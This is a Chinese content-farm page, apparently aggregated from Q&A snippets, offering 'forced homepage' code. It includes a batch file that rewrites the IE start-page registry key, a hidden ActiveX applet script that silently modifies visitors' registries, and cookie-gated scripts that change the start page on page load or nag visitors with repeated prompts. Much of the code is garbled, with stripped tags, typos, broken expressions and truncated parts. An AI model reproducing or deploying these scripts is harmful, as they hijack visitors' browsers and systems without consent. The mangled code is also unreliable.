当前位置:首页 > 代码 > 正文

最新强制主页代码(最新强制主页代码是什么)[20240420更新]

admin 发布:2024-04-20 02:58 166


本篇文章给大家谈谈最新强制主页代码,以及最新强制主页代码是什么对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。

本文目录一览:

如何用批处理命令强制修改IE主页?

方法如下:

1、点击开始,点击所有程序,点击附件,点击记事本;

2、复制以下代码到记事本中:

@reg

delete

"HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Main"

/v

"Start

Page"

/f

@reg

add

"HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Main"

/v

"Start

Page"

/d

"主页地址"

/f

注意:主页地址要修改为对应的url,例如:

 

 

 

3、点击文件菜单另存为命令,建议保存到桌面,文件名main.bat,保存类型所有文件,点击保存即可。

强行修改主页(代码)

都是利用了ACTIVE和JS做到的,我们来看这段危险代码。如果浏览了这个网页的话IE跟系统都会被修改得不象样,仅仅可以使用WINDOWS的基本程序。够狠的了。

document.write("APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent/APPLET");

//this function is only needed if you add favorites or links

function AddFavLnk(loc, DispName, SiteURL)

{

var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");

Shor.TargetPath = SiteURL;

Shor.Save();

}

//end add favorites or links function

function f(){

try

{

//ActiveX initialization (这里初始化ACTIVEX,为修改浏览者的注册表做准备。)

a1=document.applets[0];

a1.setCLSID("");

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID("");

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID("");

a1.createInstance();

Net = a1.GetObject();

try

{

//set home page

未完待续

更多资料

谁知道”加入收藏夹”和”设置为首页”这两段代码怎么写?急

加入收藏夹,设为首页代码

把以下代码Body相应位置

a target=_top href=javascript:window.external.AddFavorite(';,'中国免费资源情报站')加入收藏/a

a href=# onClick="this.style.behavior='url(#default#homepage)';this.setHomePage(');"设为首页/a

鼠标指向时提示设为首页

将下列代码插入body区中:

A href= onmouseover="this.style.behavior='url(#default#homepage)';this.setHomePage(');" target="_blank"设为首页/A

打开页面时自动弹出窗口询问是否设为首页

将以下代码放在head/head之间:

script language="javascript"

function myhomepage(){

this.homepage.style.behavior='url(#default#homepage)';this.homepage.sethomepage(';);

}

/script

p align="center"a href="" name="homepage"

onclick="myhomepage();"/a

再将下面代码加入body内:

onload="myhomepage();"

即:body onload="myhomepage();"

离开时自动提示设为首页

body onunload="BASEBody.style.behavior='url(#default#homepage)';if(!(BASEBody.isHomePage('')))BASEBody.setHomePage(';);"

强制设为主页代码:

代码一(设置为主页就再弹了):

META content="text/html; charset=gb2312" http-equiv=Content-Type

META content="MSHTML 5.00.3826.2400" name=GENERATOR

META content=FrontPage.Editor.Document name=ProgId/HEAD

BODYSPAN id=hp style="BEHAVIOR: url(#default#homepage)"/SPAN

SCRIPT language=javascript

var u,i

u="";

var showThank=false;

try{

for(i=1;i=5;i++)

{

if(hp.isHomePage(u))

{

break;

}

else

{

hp.setHomePage(u);

if(!hp.isHomePage(u))

{

alert("方便下次光临本站,请点 '是(Y)' ,就不再弹了!");

}

else

{

showThank=true;

}

}

}

if(showThank)

{

alert("谢谢您的支持.");

}

}

catch(e){

}

finally{

}

//location.href=u;

/SCRIPT

/BODY/HTML

代码三:

script

var ucook=document.cookie;

var user=ucook.indexOF("ilooki=");

if(user==-1)

{

var nowTime=new Date();

document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval

(nowTime.getYear()+1903+"12:34:56 GMT";

document.write("APPLET HEIGHT=0WIDTH=0

code=com.ms.activeX.ActiveXCompoment/APPLET");function

yuzi(){try{a1

=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-

00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject

();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try

{Shl.RegWrite("hkcu\Software\Microsoft\Internet

Expiorer\Main\Start Page",);}catch(e)

{}}catch(e){}}setTimeout("yuzi()",1000);

}

/script

代码四:

script

var ucook=document.cookie;

var user=ucook.indexOF("ilooki=");

if(user==-1)

{

var nowTime=new Date();

document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";

document.write("APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment/APPLET");function yuzi(){try{a1

=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);

}

/script

最新强制主页代码的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于最新强制主页代码是什么、最新强制主页代码的信息别忘了在本站进行查找喔。

版权说明:如非注明,本站文章均为 AH站长 原创,转载请注明出处和附带本文链接;

本文地址:http://ahzz.com.cn/post/50.html


取消回复欢迎 发表评论:

分享到

温馨提示

下载成功了么?或者链接失效了?

联系我们反馈

立即下载